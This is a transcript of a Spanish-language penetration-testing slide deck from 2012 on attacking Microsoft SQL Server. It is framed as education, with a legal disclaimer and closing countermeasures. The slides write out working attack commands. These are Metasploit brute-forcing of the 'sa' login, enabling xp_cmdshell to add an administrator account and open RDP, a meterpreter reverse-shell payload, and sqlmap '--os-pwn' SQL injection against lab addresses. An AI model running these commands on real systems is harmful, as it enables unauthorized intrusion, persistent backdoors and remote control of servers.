Download Microsoft SQL Server

Document related concepts
no text concepts found
Transcript
Vulnerando Microsoft
SQL Server
Microsoft SQL Server: Análisis y técnicas de
penetration testing
Julio, 2012
Omar Palomino
[email protected]
[email protected]
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
• Ing. Sistemas y Maestrista de Ing. de
Computación y Sistemas, CEH,
Security+, ITIL v3.
• Consultor
en
seguridad
de
información de KUNAK Consulting.
• Psicólogo que aun no comienza sus
estudios….
• Escritor en mis tiempos libres:
http://www.el-palomo.com
http://www.facebook.com/El.Palomo.Seguridad.Informacion
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
AVISO Y CONSIDERACIONES LEGALES
 Las técnicas mostradas en la presentación tienen por objetivo CONOCER las técnicas
utilizadas por los hackers para penetrar y adueñarse de SO y BD Microsoft.
 La presentación NO TIENE POR OBJETIVO enseñar técnicas para realizar ataques
contra, SO, Base de datos o aplicaciones web que son penados según la legislación de
cada país.
 El autor no se hace responsable del mal uso de las técnicas mostradas en la
presentación.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
Descripción
-
Encontrar bases de datos MSSQL a través de NMAP (video)
Encontrar bases de datos MSSQL a través de Nessus (video)
Encontrar bases de datos MSSQL a través de Metasploit
Identificar sistema operativo sobre la cual se ejecuta la BD
Automatización de ataque con Metasploit Framework para lograr
acceso a la base de datos a través de un diccionario de contraseñas
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
Módulo de Metasploit
OPCIONES DE ESCNEO CON
METASPLOIT
msf>use auxiliary/scanner/mssql/mssql_ping
msf>show options
msf>set RHOSTS
msf>set THREADS
msf>exploit.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
Módulo de Metasploit
OPCIONES DE INGRESO A MSSQL CON METASPLOIT
msf>use auxiliary/scanner/mssql/mssql_login
msf>set RHOST
msf>set THREADS
msf>set PASS FILE /pentest/file.txt
msf>set RPORT 1433
msf>set USERNAME sa
msf>expoit
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
Introducción
-
Ejecución de comandos vía XP_CMDSHELL de manera manual
- La automatización de tareas es una buena idea pero es bueno
también aprender como hacerlo manualmente si es que no
contamos con alguna herramienta de explotación automatizada a
la mano.
-
Ejecución del exploit MSSQL_PAYLOAD y el payload METERPRETER
- Uso de la suite de Metasploit para apoderarse del sistema
operativo a través de Microsoft SQL Server
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
XP_CMDSHELL
Ejecución de comandos vía XP_CMDSHELL de manera manual:





Establecer una conexión mediante un cliente
Activar el uso de la función extendida XP_CMDSHELL
Interactuar con el sistema operativo
Crear usuarios/grupos de acceso al servidor
Establecer una conexión remota vía RDP
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
XP_CMDSHELL
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
XP_CMDSHELL
EXEC master.dbo.sp_configure ‘show advanced options’, 1
RECONFIGURE
EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1
RECONFIGURE
EXEC xp_cmdshell ‘net user martin P@ssworD /ADD’
EXEC xp_cmdshell ‘net group Administrators martin /ADD’
########### HABILITAR RDP ################
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
########### HABILITAR FIREWALL ################
netsh firewall show portopening
netsh firewall add portopening TCP 3389 "Remote Desktop" ENABLE ALL
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
USO DE METERPRETER
Ejecución del exploit MSSQL_PAYLOAD y el payload METERPRETER
msf> use exploit/windoes/mssql/mssql_payload
msf> set RHOST 192.168.220.130
msf> set RPORT 1433
msf> set USERNAME sa
msf> set PASSWORD password
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> SET LHOST
msf> set LPORT 443
msf> exploit
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
USO DE METERPRETER
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
Introducción
-
Explotación de la vulnerabilidad MS09_004 a través de SQL Injection
- La vulnerabilidad se presenta en los motores de base de datos de
Microsoft SQL Server 2005 que no hayan sido actualizados a la
versión SP3.
- La vulnerabilidad es detectada por Nessus y puede ser explotado a
través de dos métodos:
 SQLMAP: Herramienta para realizar SQLi (hace uso de Metasploit)
 Metasploit: Directamente a través de la consola MSFCONSOLE.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
USO DE METERPRETER y SQLMAP
NOTAS IMPORTANTES:
1) No se requiere un usuario y/o
contraseña para explotar esta
vulnerabilidad.
2) El lenguaje de programación de la
aplicación web es indiferente.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
USO DE METERPRETER y SQLMAP
Comando a ejecutar:
./sqlmap.py --url="http://192.168.220.129/hijacking/detalle.php?id=9" --level=5 --risk=3 -p id -cookie="PHPSESSID=4go1oqlc2882dsj09not61o0l5" --dbms=mssql --threads=10 --os-pwn -v 3 --msfpath=/pentest/exploits/framework/
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
USO DE METERPRETER y SQLMAP
Comando a ejecutar:
./sqlmap.py --url="http://192.168.220.129/hijacking/detalle.php?id=9" --level=5 --risk=3 -p id -cookie="PHPSESSID=4go1oqlc2882dsj09not61o0l5" --dbms=mssql --threads=10 --os-pwn -v 3 --msfpath=/pentest/exploits/framework/
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y
reconocimiento de
MSSQL
Ataques
directos a la
Base de Datos
Ataques a
través de SQL
Injection
Conclusiones y
contramedidas
CONCLUSIONES
 Existen diversos mecanismos para explotar una BD SQL Server, a través de:
 Explotar directamente la BD
 Explotar aplicación web con SQL Injection:
 PHP
 ASP.NET
 JAVA
 El uso del procedimiento extendido XP_CMDSHELL es muy importante para la explotación de
vulnerabilidades por lo que se recomienda restringir el uso del mismo.
 Se debe actualizar el motor de BD para disminuir el riesgo de ataques sobre las mismas.
 Un proceso continuo de revisión es la solución ideal para evitar ser vulnerables ante un
eventual ataque de seguridad de información.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Puedes ver este video en:
http://www.el-palomo.com/
http://www.facebook.com/El.Palomo.Seguridad.Informacion/
http://www.youtube.com/user/youta18
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Vulnerando Microsoft
SQL Server
Microsoft SQL Server: Análisis y técnicas de
penetration testing
Julio, 2012
Omar Palomino
[email protected]
[email protected]
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion